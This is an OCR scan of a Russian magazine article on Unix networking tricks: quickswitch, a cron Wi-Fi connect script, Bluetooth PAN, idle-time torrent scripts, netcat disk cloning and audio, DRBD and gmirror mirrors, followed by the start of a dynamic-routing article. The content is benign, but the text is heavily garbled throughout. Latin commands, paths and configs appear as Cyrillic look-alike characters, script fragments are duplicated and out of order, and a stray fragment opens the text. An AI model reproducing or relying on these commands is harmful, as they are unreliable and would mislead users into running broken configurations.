действия сотрудников тузді.сот не хочется даже комментировать. Как 
и следовало ожидать, люди — самое уязвимое звено при обеспечении 
безопасности. ИИ 
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СЕТЕВЫЕ ТРЮКИ, 

О КОТОРЫХ ТЫ ТОЧНО 
НЕ ЗНАЛ 

Ш\ІІХ-системы имеют множество средств для 
работы с сетью и ее настройки. Большинство 
из них уже давно описано на многочисленных 
интернет-ресурсах, в учебниках и справочни- 
ках. Однако среди всей этой массы привычных 
обыденных инструментов порой можно найти по- 
разительно красивые и эффективные решения. 
Они помогут тебе справиться с задачами, кото- 
рые раньше казались трудновыполнимыми. 



В этой статье мы рассмотрим элегантные решения таких вопросов, 
как проброс аудио по сети, переключение между различными сетями 
и провайдерами на лету, организация беспроводной сети с использо- 
вание технологий ВІиеІооіЬ, автоматический запуск торрент-клиента 
во время простоя, и даже поднимем самый настоящий сетевой 
РАЮ-массив. Мы увидим, что для всего этого достаточно простых и 
понятных утилит, демонов и пары скриптов. 

АВТОМАТИЧЕСКОЕ 
ПЕРЕКЛЮЧЕНИЕ МЕЖДУ СЕТЯМИ 

Наверное, все владельцы ноутбуков хоть раз в жизни сталкивались с 
проблемой подключения к разным сетям. Дома ты можешь получать 
доступ к сети через РРТР/РРРоЕ-соединение, там, где ты работаешь/ 
учишься, подключение приходится настраивать вручную, где-то еще 
требуется использовать ОНСР-сервер. Все это создает множество 
проблем, так как даже пеіѵѵогк-тападег хорошо работает в автома- 
тическом режиме только при наличии в сети ОНСР-сервера, иначе 
приходится лезть в настройки и прописывать адреса самостоятельно. 
Да и не всем нравится использовать графический интерфейс. 

Мы пойдем другим путем. Воспользуемся простой утилитой 
діііскзѵѵіІсЬ, которая позволяет переключаться между различными сетя- 
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Сетевая акробатика 



Й! /Ьіп/зЬ 

Я Прободные сети Синена из /еіс/^иіскзиИсИ/зуіісИіо ,сопТ) 
МЕТ5=’ Боте июгк 
Я Беспроводные сети (их 5510) 

№15= Йоте то г к 

Я Проверка работоспособности сети с помощью 
Я пинга гуглоВского 0Ы5-серВера, 

Я В случае успешного пинга - Выходим 

ігуріпдС) ( 

И ріпд -д -п “С 1 В. В. В. 8 рбел ехіі; Н 

> 

Я Если сеть есть - Выходим 
Ігуріпд 

Я Пробуем подключиться к сетям,, перечисленным В $НЕТ5 
'о г пеі: іп НЕТ5: ба 

зшііоБіо $пеі: зіеер 10 
Ігуріпд 

бопе 

Я Не получилось - пробуем РНСР 



|ігусоппес1 . вб [бЫ 



Чгусоппес’Ь .зб" АП, 1054С 



Скрипт для автоматического коннекта к разным сетям 

ми с помощью одной команды, то есть, по сути, является аналогом іішр 
из ОеЬіап/ІІЬипІи, но имеет несколько дополнительных вкусностей. Ути- 
лита доступна в репозитории любого дистрибутива, ее исходники также 
имеются на официальной страничке: ЬНрУ/тиІІтаппа.сот/диіскзѵѵИсІт . 
Эта программа написана на РегІ, поэтому для ее установки достаточно 
скопировать бинарник зѵѵіРсЫо из архива в каталог /изг/ІосаІ/Ьіп. 

Принцип работы диіскзѵѵіРсЬ основан на переключении между 
разными сетевыми профилями, которые заданы в конфигурационном 
файле /ек/дшскзѵѵікЬ/зѵѵіРсЬРо.сопІ 1 в следующем формате: 

# ѵі /еіс/диіск5міісИ/5ыі1:сІі1:о.соп-Р 
[сопб^] 

// Имя интерфейса 

беѵісе=е1:б0 

// Файл с данными о предыдущей сетевой конфигурации 

5егѵісеб1епате=/е1=с/диіск5ыі1:сІі/5ыі1:сІі1=о. Іазі: 

// Профиль боте - домашняя сеть 

[боте] 

безсгір1:іоп=боте 
аббгезз=192. 168.0. 25 
пе1=та5к=255. 255. 255.0 
§а1:еыау=192 . 168 . 0 . 1 
сіпб1=195 .62.99.42 
сіпз2=195 .62.97. 177 

// Профиль ыогк - сеть на работе 

[ыогк] 

сІезсгір1:іоп=ыогк 
асИгез5=10. 16. 3.114 
пе1=та5к=255 .255.255.0 
баіемау ■ =10 .16,3. 249 

сІпз1=195.62.99.42 



Переключение между профилями осуществляется с помощью 
утилиты зѵѵіісЫо: 

$ зисіо шіѣсМ:о шгк 
$ зисіо змгЕсІтЬо Ноте 

Но такой способ работает только для проводных сетей, чтобы 
переключаться между беспроводными сетями, необходимо настроить 
ѵѵра_зиррІісап{. Сделать это очень просто — достаточно сгенериро- 
вать ключи для всех известных точек доступа: 



Ц]!/Ьіп/ЬагІі 

4 Время Бездействия, по прошествии которого 
4 Будет запущена закачка (В милисекундах) 
ШІ_Е=120000 

4 Команда на остановку закачки 
5Т0РСМ0='Чгап5пиззіоп-гетоІе -5" 

4 Команда на запуск закачки 
5ТРІРТСИ0="1гапзтіззіоп-гето1:е -з" 

4 5Т0РСМ0="сіе1иде-сопзо1е раизе V*" 

4 5ТРЙТСІЮ="гіе1иде-сопзо1е гезигое \*" 

5Т0РРЕв= ,, уез" 
иіЬ і 1 е ігие ; гіо 

ІГ [ хрг іп± і Ые ' -д* $І0ЬЕ ]; іНеп 
ІТ [ $5Т0РРЕ0 = "уез" ]; 1:Ьеп 
ФЗТРІРТСМО 

5 Т 0 РРЕ 0 ="по ' 

и 

ІТ [ $5Т0РРЕ0 * "по" ]; іЬеп 
$5Т0РСМВ 

5Т0РРЕР="це5" 



аиіоіоггепі: .зЬ [5Ы 



Простой скрипт для автоматического запуска торрент-клиента 

$ зи -з 

# тѵ /еііс/ыра зирріісапі:. соп-Р /еІіс/ыра зиррІісапІі.соп-Р.Ьак 

# ыра раззрііпазе ззісі/ имя -точки пароль >> \ 

/еііс/ыразирріісапіі/ыразирріісапі:. соп-Р 

Для подключения к выбранной точке доступа используются четы- 
ре команды: 

$ зисіо і-РсопРщ м1ап0 ир 
$ зисіо імсопб% ы1ап0 еззісі $пе1: 

$ зисіо ыра зирріісапі: -В -Рыехі: -і ы1ап0 \ 

-с /е1:с/ыра_5ирр1ісап1:.соп-р 
$ ббсрссі ы1ап0 

Конечно, все это неудобно. Поэтому мы напишем скрипт для авто- 
матизации подключения, который будет подключаться ко всем извест- 
ным нам сетям до тех пор, пока система не получит доступ к интернету: 

# ѵі /изг/ІосаІ/Ьіп/ігусоппесі.зІі 

#! /Ьіп/зб 

# Проводные сети (имена из /еііс/диіскзыііісб/зыііісбііо. соп-И 
МЕТ5="боте могк" 

# Беспроводные сети (их 55ІР) 

1лІМЕТ5 ="бот е ыогк" 

# Проверка работоспособности сети с помощью 

# пинга гугловского РІМ5-сервера . 

# Выходим в случае успешного пинга 

ѣгуріп§() { 

і-р ріп§ -д -п -с 1 8. 8. 8. 8; Іібеп ехіі:; Рі 

Ь- 

# Выходим, если видим сеть 

■ргуріп§ 

# Пробуем подключиться к сетям, перечисленным в $І\ІЕТ5 
■Рог пеіі^іп МЕТ5; бо 

зыі1:сб1:о $пе1:; зіеер 10 
1:гуріп§ 
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5УЫ/АСК 



ПРОСТОЙ СЕТЕВОЙ БЕНЧМАРК НА АВТОМАТИЧЕСКОЕ ПЕРЕКЛЮЧЕНИЕ 

БАЗЕ РТР И 00 МЕЖДУ ИНТЕРФЕЙСАМИ В 0РЕЫВ50 



Чтобы измерить скорость передачи данных между двумя хостами, 
необязательно использовать специализированный софт и сервисы 
вроде вреесЙеБІ.пеІ . Достаточно простого Нр-клиента: 

Т1:р> риі: /ЦсІсІ іТ=/сІеѵ/ 2 его Ьб= 1М соип1:=100"_ѴсІеѵ/пи11 

Эта команда Нр-клиента сгенерирует и передаст на удаленную 
машину файл длиной 100 Мб и выведет на экран среднюю скорость 
загрузки. 



В ОрепВБй задача переключения между интерфейсами в случае 
падения одного из них решается гораздо проще: 

// Поднимаем проводной интерфейс 

# іТсопб§ ет0 ир 

// Поднимаем беспроводной интерфейс 

# іТсопб§ а1±0 пмісі ту_ы1ап ир 

// Создаем транковый интерфейс 

# і-РсопЛ§ ІігипкѲ Ішипкрпоііо -Раііоѵег \ 

Іігипкрогі: ет0 Іігипкрогі: аІіІіѲ \ 

192.168.1.1 пеѣтазк 255.255.255.0 



сіопе 

# Если не получилось, пробуем РНСР 

сІИсрссІ е1:М0 

зіеер 5 
1ігуріп§ 

# Если проводная сеть не работает, пробуем іаіі-Рі 
кіііаіі сІМсрссІ 

і-Рсопб§ ы1ап0 ир 

# Проходим по Ыі-Рі -сетям 

■Рог пе* іп ІлІІМЕТБ; сіо 

іысопб§ ы1ап0 еззісі $пе1і 

ыра^зирріісапі: -В -Омехі: -Л ы1ап0 \ 

-с /е1=с/ыра_5ир р1іса п1:.соп-Р 
зіеер 10 

зіеер 5 
1ігуріп§ 

сіопе 

Если поместить этот скрипт в рутовый сгопІаЬ, заставив его 
запускаться каждые... ну, скажем, пять минут, мы получим систему 
автоматического поиска активных сетей: 

$ зисіо сгопІаЬ -е 

*/5 * * * * /изг/ІосаІ/Ьіп/ІігусоппесІ: . зН 

Вот и все. И не нужно никаких костылей в виде пеіѵѵогк-тападег 
и ему подобных. При необходимости в скрипт можно добавить строки 
для подключения к РРРоЕ/РРТР-серверу или установки соединения с 
36-модемом с помощью ѵѵѵсііаі. 



ЕЛ ВШЕТООТН-СЕТЬ 

Беспроводные сети обычно организуют с использованием технологий 
ѴѴі-Рі, которые обеспечивают хорошую зону покрытия и высокие ско- 
рости. Но что если такой способ соединения тебе не подходит? До- 
пустим, ты хочешь без проводов выйти в интернет со старого ноутбука 
или у тебя в данный момент нет ни точки доступа, ни ѴѴі-Рі-адаптера 
для стационарного компа. В этом случае тебя спасет старый добрый 
ВІиеІооіЬ, который хоть и имеет малую зону покрытия, но стоит 
копейки (ровно два доллара за китайский ІІ5В-ВІие1ооіЬ-адаптер) и 
работает стабильно. 

Стек протоколов ВІиеІооіЬ имеет стандартную возможность 
передачи ІР-пакетов, которая поддерживается как в Ыпих, так и в 
ВБй-системах. Она реализована как часть профиля РАІЧ (РегзопаІ 
Агеа ІЧеІѵѵогкіпд), использующего протокол ВИЕР (ВІиеІооіЬ ІЧеІѵѵогк 
Епсарзиіаііоп Ргоіосоі). 



Теперь при отключении сетевого кабеля активируется ѴѴі-Рі. 



КЛОНИРОВАНИЕ РАЗДЕЛОВ ПО СЕТИ 



Старый добрый пеісаі, помимо всего прочего, можно использовать 
для клонирования разделов с одной машины на другую (в данном 
случае с машины-2 на машину-1): 

машина-1# пеіісаі: -1 -р 9000 | сісі оТ=/сІеѵ/5СІа 
машина-2# сісі іТ=/сІеѵ/5СІа | пеіісаі: ІР-машины-1 9000 

Правда, я бы не рекомендовал использовать этот способ, если ты не 
уверен на 100 %, что сеть не упадет. 



[сопПд] 

бвѵісе-вІШ 

зегѵісе’ГіІепаше 1 /еіс/циіскзшіісЬ/зшіісИіо, Івзі 
СЬоте] 

сіезсгірііог Йоте 

а№езз=192Л6Ѳ.0.25 
пеітазк-255 , 255 . 2Б5 . 0 
даіешау=192 ЛбѲ .0, 1 
сіпз 1“ 195 * 62 , 99 , 42 
СІП32-195 ,62.97. 177 

С іхіогк ] 

еіезегірі: і оп шг к 
айсіге55=10 Лб.Э . 114 
пеітазк- 255, 255 .255.0 
да1ешау-10 .16.3 .249 
сіпз 1-195* 62, 99* 42 

Я 



зшіісЫіа .сопТ[+] 



Пример конфигурации циіскзѵѵіісИ 
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Сетевая акробатика 



В І_іпих подключение организуется следующим образом: 

1. На машине, которая должна служить шлюзом в интернет или 
простосервером, запускается демон рапсі, который слушаетпод- 
ключения отдругихустройств: 

$ біісіо рапсі -І ізііеп -гоіе МАР 

2. Наэтой машине настраивается сетевой интерфейс ЬперО, создан- 
ный демоном рапсі: 

$ біісіо ібсопб§ ЬперѲ 192.168.0.1 

3. На машине-клиентезапускается рапсі в режиме клиента и на- 
страивается сетевой интерфейс ЬперО (МАС-адрес можноузнать 
спомощью команды Ьсііооізсап для обнаружения ВІиеІооіЬ- 
устройств): 

$ біісіо рапсі -соппесР НАС -адрес -шлюза 
$ біісіо ібсопб§ ЬперѲ 102.168.0.2 
$ біісіо гоиііе асИ сіебаиіі: 192.168.0.1 

Теперь компьютеры могут свободно обмениваться пакетами, но, 
чтобы обеспечить клиента доступом к интернету, на шлюзе необходи- 
мо включить форвардинг пакетов и настроить І\ІАТ: 

$ біісіо зузсЫ -м пеі: . ірѵ4.1р_-РогыагсІ=1 
$ біісіо ірІіаЫеБ -1= па-Ь -А Р05ТК01ЛІІМ6 \ 

-о е1=М0 -д МА50ЦЕКАРЕ 

То же самое можно проделать и в операционной системе РгееВВй: 

1. На шлюзе и клиенте запускаем демон зсірсі, который отвечает за 
обнаружениедругихВІиеІооіЬ-устройств и сервисов, и загружаем 
модуль с реализацией ВІиеІооіЬ-стека: 

# кісііоасі п§_иЫ: 

# /еіс/гс.сІ/БСІрсІ Біагі: 

2. На машине-шлюзе запускаем ЫрапсІ в режиме сервера: 

# ібсопб§ ѣарѲ сгеаііе 

# ЫірапсІ -і 1:ар0 -5 МАР 

# ібсопб§ 1:ар0 192.168.0.1 пеітазк 255.255.255.0 

3. На машине-клиенте запускаем его в режиме клиента: 

# ібсопб§ ІіарѲ сгеаііе 

# ЫірапсІ -сі иЫі0 -і ІіарѲ -5 МАР -а МАС-адрес-шлюза 

# ібсопб§ 1=арѲ 192.168.0.2 пеітазк 255.255.255.0 

# гоиііе асісі сіебаиііі 192.168.0.1 



4. Чтобы подсоединиться кинету, включаем перенаправление 
сетевыхпакетов и настраиваем ІЧАТ: 

# БузсЫ пеі. іпеі. ір.бопл/агсІіп§=1 

# ірТы асісі паТ 123 аіі Тгот іип0 Ііо апу 

Для опознавания МАС-адресов устройств можно использовать 
следующую команду: 



# Ьссопіігоі -п иЫіѲЬсі іпциігу 




АВТОМАТИЧЕСКИЙ ЗАПУСК ТОРРЕНТ-КЛ ИЕНТА 
ВО ВРЕМЯ ПРОСТОЯ МАШИНЫ 



Это легко сделать с помощью двух простых инструментов: шейпера 
трафика Ігіскіе, работающего как пользовательский процесс, и уда- 



> сіеіиде-сопзоіе Ьеір 
асісі - Ясісі а іоггепі 

сасііе - 5Мош іпіогтаііоп аЬоиі іИе сіізк сасМе 
сопТід - ЗЬош апсі зеі сопіідигаііоп ѵаіиез 
соппесі - Соппесі іо а пеш сіеіиде зегѵег. 
сІеЬид - ЕпаЫе апсі сІізаЫе сІеЬиддіпд 
сіе 1 - Кетоѵе а іоггепі 
ехіі - Ехіі Тгот іМе сііепі, 

Ьаіі - ЗНиісІошп іЬе сіеіиде зегѵег. 

Ізеір - сіізріауз Меір оп оіііег соттапсіз 

іпТо - ЗЬош іпТогтаііоп аЬоиі іМе іоггепіз 

раизе - Раизе а іоггепі 

ріидіп - Мападе ріидіпз шііН іМіз соттапсі 

ди і і - Ехіі Тгот іЬе сііепі. 

гесЬеск - Рогсез а гесНеск оТ іНе іоггепі сіаіа 

гезите - Резите а іоггепі 

гт - Ветоѵе а іоггепі 

Рог Неір оп а зресіТіс соттапсі, изе "<соттапсІ> — Меір" 



Список функций клиента сіеіиде, которыми можно управлять из консоли 



ленного клиента для твоего торрент-канала. Их следует объединить в 
одном скрипте как показано ниже: 

# ѵі /и5г/1оса1/Ьіп/аи1о1оггеітЬ.5Іі 

#і /Ьіп/Ьа&Іі 

# Время бездействия (в миллисекундах), по истечении 

# которого запускается закачка 

ЮІ_Е=12ѲѲѲѲ 

# Команда на остановку закачки 

5Т0РСМР="-Ьгап5тІ5 5Іоп-гето1:е -5" 

# Команда на запуск закачки 

5ТАКТСМР="-Ьгап5тІ55Іоп-гето1:е -5" 

# $Т0РСМР="сІе1и^е-соп5о1е раизе \*" 

# 5ТАКТСМР="сІе1и%е-соп50Іе гезите \*" 

5ТОРР ЕР="ѵеБ" 

ыЬіІе Іігие; сіо 

і-р [ 'хрпіпііісііе ' -%1і $ІРІ_Е ]; ІіЬеп 
і-р [ &5ТОРРЕР = "уез" ]; ІіЬеп 
$5ТАКТСМР 
5ТОРРЕР="по" 
б 

еізе 

і-Р [ $5ТОРРЕР = "по" ]; іЬеп 
$5ТОРСМР 
5ТОРРЕР="уеБ" 
б 
б 

зіеер 60 

сіопе 

Переменные 5Т0РСМР и 5ТАРТСМР являются в этом скрипте 
ключевыми. В них необходимо вставить команды на остановку и 
запуск торрент-клиента. Кстати, чтобы пример с сіеіиде заработал, 
нужно запустить демон беіидесі. Для автоматического запуска просто 
помести ссылку в -/.сопбд/аиіозіагі: 

# 1п -б /изг/Ьіп/сІеІи^есІ ~/. сопб%/аи1іо5Ііаг1і 



В комплект утилит АІ_5А для управления звуковой подсистемой 
входит простая программа агесогб, предназначенная для записи 
аудио с микрофона. Она мало кому нужна, совершенно банальна 
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и, на первый взгляд, не имеет отношения к нашей статье. Но, если 
объединить ее с пеісаі, можно добиться довольно интересных 
результатов. Например, создать простейшую ѴоІР-систему из двух 
машин: 

машина-1$ пе1:са1: -1 -р 5555 _|_ аріау 
машина-2$ агесопсі | пе1:са1: ІР-машины-1 5555 

Теперь все аудио с микрофона машины-2 будет попадать в колон- 
ки машины-1. После настройки обратного потока получится полно- 
ценный телефон. Звук на первую машину также можно выводить не 
с микрофона, а непосредственно со звуковой платы. Это необходимо 
для создания местного радио в домашней сети, когда композиции 
проигрываются на сервере, а основная машина выступает в роли 
акустической системы. 

Чтобы сменить источник звука, добавим в АІ_5А новый псевдоде- 
вайс, который копирует основной аудиовыход: 

$ ѵі .азоипсігс 

рст.сору { 



Т уре р!и§ 

зіаѵе { 
рст бы 

} 

гоиТе_ро1ісу сору 



Теперь организуем трансляцию с этого устройства в сеть с по- 
мощью агесогб и пеісаі: 

машина-2 $ агесогсі -О сору | пеТсаТ ІР-машины-1 5555 



БД РАЮ1 ПОСЕТИ 

Напоследок я бы хотел сегодня рассказать о создании сетевых РАЮ- 
массивов. Это широко известная среди сисадминов фишка, которую 
обычные пользователи незаслуженно обходят своим вниманием. 

Дело в том, что сетевой РАЮ-массив может стать отличным хранили- 
щем для важных данных в тех случаях, когда обычный РАЮ-массив 
реализовать нельзя. 

Возьмем, к примеру, следующую ситуацию. У тебя дома 
есть две Ыпих/ВБО-машины, которые используются для раз- 
ных целей и, может быть, даже находятся в разных комнатах, 
но при этом объединены в локальную сеть. Есть некоторый 
объем данных, который для тебя важен, и ты не хочешь его 
потерять. 

Настройка обычного РАШ-массива потребует покупки 
дополнительного жесткого диска и, может быть, РАШ- 
контроллера (если, например, в одном из компов стоит 
материнка с устаревшим ЮЕ и оба канала уже заняты), а то и 
вовсе окажется невозможной (когда компы опломбированы 
или вместо них используются ноутбуки или мультимедийные 
приставки). В этом случае можно сделать одну простую вещь: 
выделить на каждой машине небольшой раздел и настроить 
зеркалирование между ними. Тогда, даже если одна из комнат 
сгорит вместе с компом, данные в целости и сохранности 
останутся на другой машине! 

Все это довольно легко реализуется на практике. С 2009 года в 
І_іпих входит драйвер для виртуального устройства ОРВй (ОізІгіЬиІесІ 
Реріісаіесі ВІоск йеѵісе), позволяющий создать зеркало между двумя 
блочными устройствами, представить его в виде виртуального блоч- 
ного устройства и примонтировать, организовать файловую систему и, 
в общем-то, спокойно работать, как с обычным дисковым разделом. 
Модуль с этим драйвером есть в любом дистрибутиве, поэтому зер- 
калирование можно настроить между машинами с любыми версиями 
І_іпих. 



Чтобы создать зеркало между двумя хостами, необходимо выпол- 
нить следующие действия: 

1. Выделить на каждой машине новый раздел под хранилище зер- 
калируемых данных. Разделы не обязательно должны быть одина- 
ковыми, в любом случае общий объем сетевого хранилища будет 
равен объему самого маленького из них. Создать разделы можно 

с помощью Ісіізк/сісіізк или графического ОІЧІІ Рагіесі. Последний, 
помимо всего прочего, позволяет сдвинуть уже существующие раз- 
делы, чтобы освободить место. 

Допустим, с этой задачей ты справился, и у тебя теперь есть два 
раздела: зсіаб на машине 192.168.0.1 и зсІа7 на машине 192.168.0.2. 
Один из этих разделов будет главным, а второй подчиненным, и 
сейчас самое время распределить эти роли. ОРйВ устроен так, что 
две машины не могут одновременно получить доступ к сетевому 
разделу, доступ при этом предоставляется только тазіег-машине. 
Разумеется, в качестве тазіег-машины лучше выбрать ту, которую 
ты планируешь чаще всего использовать для обращения к сетево- 
му разделу. 

2 . Далее следует создать конфигурационный файл, описывающий 
наше зеркало. Тут ничего сложного нет, достаточно взять уже 
готовый пример и просто изменить следующие поля: збагесі-зесгеі 
— это пароль на доступ к разделу, сіізк — имя младшего раздела на 
обеих машинах, асісігезз — сетевой адрес каждой машины. Пример 
этого конфига выглядиттак: 



# ѵі /еіс/сІгЬсІ.сопТ 

^ІоЬаІ { иза^е-соигтЕ по; } 
соттоп { зупсег { паііе 1ѲѲМ; } } 
пезоипсе пѲ { 

ргоѣосоі С; 

з^агіир { 

ыТс- Ігі теоиІ: 15; 
сІе?г-ы-Рс-1 =ітеои1= 60; 

} 

пеі: I 

спат-Іітас-а1§ зііаі; 
збагесі-зесгеі: "ПАРОЛЬ"; 

} 

оп посіеі { 

сіеѵісе /сІеѵ/сІгЬсІѲ; 
сіізк /сІеѵ/зс1а5; 
асісігезз 192.168.0.1:7788;_ 
теііа-сіізк іігЕ егпаІ; 

} 

оп посІе2 { 

сіеѵісе /сІеѵ/сІгЬсІѲ; 
сІІЕк /сІеѵ/зсІа7 ; 
асісігезз 192.168.0.2:7788; 
теііа-сіізк іпѣегпаі; 



} 



} 



После правки необходимо скопировать конфиг на обе машины 
и установить на них инструменты управления ОРВО-устройством. 
Обычно они входят в состав пакета сігЬсі-іЛііз или сігЬсі8-ііііі5. 

3. Теперь можно инициализировать хранилище с помощью утилиты 
бгЬсІасІт: 

# сІгЬсІасІт сгеа1:е-тсІ сігЬсіѲ 

Эту операцию необходимо проделать на обеих машинах. После 
этого также на обеих машинах нужно запустить ОРВО-сервис: 

# /еі=с/іпі1 = . сі/сігЬсі з1:аг1: 
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> сігЬсіасіт сгеаіе-тсі сігЬсІѲ 

ѵ08 Иадіс питЬег по! ІоипсІ 
тсІ.оІТзе* 30005817344 
аІ.оІГзеІ 30005784576 
Ьт.оІГзеІ 30004867072 

РоипсІ ех!2 Іііезузіет шііісіі изез 190804004 кВ 
сиггепі сопПдигаііоп іеаѵез изаЫе 29301628 кВ 

Эеѵісе зі 2 е шоиісі Ье Ігипсаіесі, шЬісЬ 
шоиісі соггирі сіаіа апсі гезиіі іп 
'ассезз Ьеуопсі епсі о! сіеѵісе' еггогз. 

Уои пеесі Іо еііЬег 

* изе ехіегпаі теіа сіаіа ( гесоттепсіесі ) 

* зЬгіпк ІЬаі Іііезузіет Тігзі 

* гего оиі ІНе сіеѵісе (сіезігоу ІЬе Іііезузіет) 

Орегаііоп геТизесІ. 

СоттапсІ ’сігЬсІтеіа /сІеѵ/сІгЬсІ0 ѵ08 /сіеѵ/зс)а4 іпіегпаі сгеаіе-тсГ Іегтіпаіесі шШі ехіі сосіе 40 
сігЬсіасіт аЬогІіпд 



Что происходит при повторной инициализации ОКВО-массива 



Стартовый скрипт сам подключит все ноды (кстати, вручную это 
делается с помощью команды сігЬсіасіт ир аІІ), и нам останется только 
указать ОРВй на тазіег-машину, чтобы он знал, откуда выполнять 
всю дальнейшую синхронизацию. 

4. Переходим на тазіег-машину и сообщаем йПВО, кто есть кто: 

# сігЬсіасіт ргітагѵ аІІ 

После этого производится первичная синхронизация разделов. Ее 
ход записывается в файл /ргос/сІгМ. 

5. Наше хранилище готово. Теперь можно создать на виртуальном 
йРВО-устройстве файловую систему и примонтировать ее: 

# ткТз.ех1:4 /сіеѵ/сі г ЬсІѲ 

# тоипТ^/ сіеѵ/сі гЬсІѲ /тпі: 

Отныне все данные, записываемые в каталог /тпі, автоматически 
передаются на вторую машину. Информация останется на ней даже в 
том случае, если тазіег-машина выйдет из строя. Кстати, в этом слу- 
чае будет достаточно назначить мастером другую машину и спокойно 
смонтировать диск. 

Во РгееВВй описанная выше процедура реализуется еще проще. 
Здесь все завязано на ОЕОМ-класс ддаіе, который позволяет экс- 
портировать блочные устройства по сети, и ЗЕОМ-класс дтіггог 
— софтверную реализацию РАЮ1. При объединении этих классов 
можно добиться такой же функциональности, как у йРВО в Ыпих. 
Делается это очень и очень просто, без использования конфигов, с 
помощью нескольких команд. 

Как и в случае с ОРВй, каждая машина должна иметь пустой раз- 
дел. Желательно, чтобы эти разделы были одинакового размера. На 
каждой машине должны быть загружены нужные нам СЕОМ-классы: 

# кісііоасі §еот_тіггог 

# кісііоасі §еот_§а1:е 

Кроме того, обе машины должны иметь таблицу экспорта ддаіе 
с описанием узлов, с которых импортируются блочные устройства. 



Файл /еіс/дд.ехрогіз на мастер-машине должен содержать адрес и 
имя блочного устройства, экспортируемого подчиненным узлом: 

192.168.0.2 ШлІ /сІеѵ/асІѲзІсІ 

На подчиненном узле, в свою очередь, необходимо запустить 
демон-сервер ддаіе, который принимает подключения с мастера: 

# §§а1:есІ 

Теперь возвращаемся на мастер-хост и импортируем блочное 
устройство подчиненной машины: 

# е^а-Ее с сгеаііе 192.168.100.2 /сІеѵ/асІѲзІсІ 

После этого будет создано новое блочное устройство, имя которо- 
го появится на экране (имена назначаются в возрастающем порядке, 
поэтому ты должен увидеть ддаІеО). Чтобы настроить зеркалиро- 
вание, осталось объединить ранее созданный дисковый раздел 
мастер-хоста (пусть это будет /сІеѵ/асІОзІ 6 ) с разделом /сІеѵ/ддаІеО в 
РАЮІ-массив с помощью дтіггог: 

# §тіггог ІаЬеІ -ѵ -Ь ргеТег §т0 §§а1:е0 асІѲзІсІ 

Обрати внимание, что локальный диск здесь указан последним. 
Так он получит больший приоритет, а значит: а) станет мастером, б) 
при записи и чтении алгоритм балансировки ргеіег всегда будет вы- 
бирать его первым. 

Теперь виртуальный зеркальный диск/раздел можно инициализи- 
ровать и подключить: 

# Тзск -1 ц~Рб /сІеѵ/шіггог/^тѲ 

# тоигтЬ /сІеѵ/шіггог/^тѲ /тпі: 



выводы 



В этой статье мы рассмотрели только малую часть тех приемов, к 
которым можно прибегнуть в ІІІЧІХ-системах, если проявить немного 
смекалки и внимательно вчитываться в тап-страницы. На этом все, 
удачи и больших аптаймов! ПЕ 
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Сергей «дгіпсіег» Яремчук (дгіпсіеггаіих.іп.иа] 




Динамим 

сеть 

ИСПОЛЬЗУЕМ ДИНАМИ- 
ЧЕСКИЙ РОУТИНГ ПРИ 
ПОДКЛЮЧЕНИИ К РАЗ- 
НЫМ ПРОВАЙДЕРАМ 

Сложная сетевая структура 
с несколькими точками под- 
ключения к интернету — не 
редкость даже для относи- 
тельно небольшой органи- 
зации, поэтому при адми- 
нистрировании таких сетей 
всегда нужно быть готовым 
к внештатным ситуациям. 

При отказе одного провай- 
дера весь трафик должен 
автоматически перенаправ- 
ляться на запасной выход. 

Традиционная статическая 
маршрутизация в такой си- 
туации усложняет админи- 
стрирование, ведь в случае 
перенаправления на один 
шлюз часто необходимо 
перестраивать все вручную. 

Динамическая маршрути- 
зация устраняет необходи- 
мость в этом. 



ДИНАМИЧЕСКАЯ МАРШРУТИЗАЦИЯ В ІЛМІІХ 



При решении поставленной задачи может возникнуть множество 
вопросов: например, используются ли оба канала одновременно и 
следует ли распределять нагрузку или второй (резервный) исполь- 
зуется только по мере необходимости? Включать ли второй канал 
только при повышении нагрузки или он необходим всегда? Нужно 
ли подключать оба канала к одному маршрутизатору? Соответ- 
ственно, и решать эту задачу придется по-разному. В самом простом 
случае можно написать небольшой скрипт, который при запуске 
через сгоп будет пинговать ІР и в случае его недоступности пере- 
страивать таблицы. Шаблон такого скрипта легко найти поиском по 
запросу «скрипт для проверки доступности провайдеров». 

Можно реализовать схему и через іргои1е2. Например, по- 
переменно отправлять трафик к разным провайдерам, подклю- 
ченным к одному роутеру, можно при помощи такой команды 
(где 192.168.0.2 и 192.168.1.2 — адреса локальных интерфейсов, а 
192.168.0.1 и 192.168.1.1 — данные провайдера): 

#есбо "1_І5Р" >> /е1:с/ірпои1:е2/г1:_1:аЫе5 
#есбо "2_І5Р" >> /е1:с/іргои1:е2/г1;_1:аЫе5 

#ір гоиііе асісі 192.168.1.0/24 сіеѵ еІіГіѲ зге Л 

192.168.1.2 ІіаЬІе 1_І5Р 

#ір гоиііе асісі сІе-РаиІІ: ѵіа 192.168.1.1 ІіаЫе 1 І5Р 
#ір гоиііе асісі 192.168.Ѳ.Ѳ/24 сіеѵ е1=И2 бгс 192.168.0.2 \ 
ІіаЬІе 2_І5Р 

#ір гоиііе асісі сІе-РаиІІі ѵіа 192.168.0.1 1=аЫе 2 І5Р 
#ір гиіе асісі -Ргот 192.168.1.2 ІіаЬІе 1_1 5 Р 
#ір гиіе асісі -Ргот 192.168.0.2 ІаЬІе 2_І5Р 
#ір гоиііе асісі сІе-РаиІІі зсоре ^ІоЬаІ пехііііор ѵіа \ 
192.168.1.1 сіеѵ е1=Ь0 ыеі^ИІ: 1 \ 
пехііііор ѵіа 192.168.0.1 сіеѵ е1:И2 ыеі^Ы= 1 

Но такой способ не всегда выручает, ведь в сложных сетях 
придется переключать маршрут в нескольких точках. Значит, 
нужно продумать и то, как вернуть настройки обратно, когда все 
восстановится. В то же время большинство роутеров поддержи- 
вает целый зоопарк протоколов динамической маршрутизации: 
РІР, 05РР, В6Р, І6РР, ЕІР6Р, 15-15 и ряд более экзотических. Такие 
протоколы позволяют маршрутизаторам самостоятельно опреде- 
лять оптимальный маршрут и сообщать друг другу информацию 
об актуальной топологии сети, загрузке и ширине канала, а в 
случае недоступности одного из узлов — автоматически коррек- 
тировать таблицы маршрутов. Их использование избавляет ад- 
мина от какой-либо ручной работы, а значит, уменьшает вероят- 
ность ошибки. Для начала приведем характеристики протоколов: 
• РІР(КоиІіпд Іпіогтаііоп Ргоіосоі) — впервые появился на В5й 
и долгое время не рассматривался как стандарт. На сегодня это 
один из самых простых и легко конфигурируемых протоколов 
маршрутизации, который вполне подходитдля небольшихи 
средних сетей. В качестве метрики маршрутизации используется 
количество переходов (хопов, отангл. боре). Маршрутизаторы 
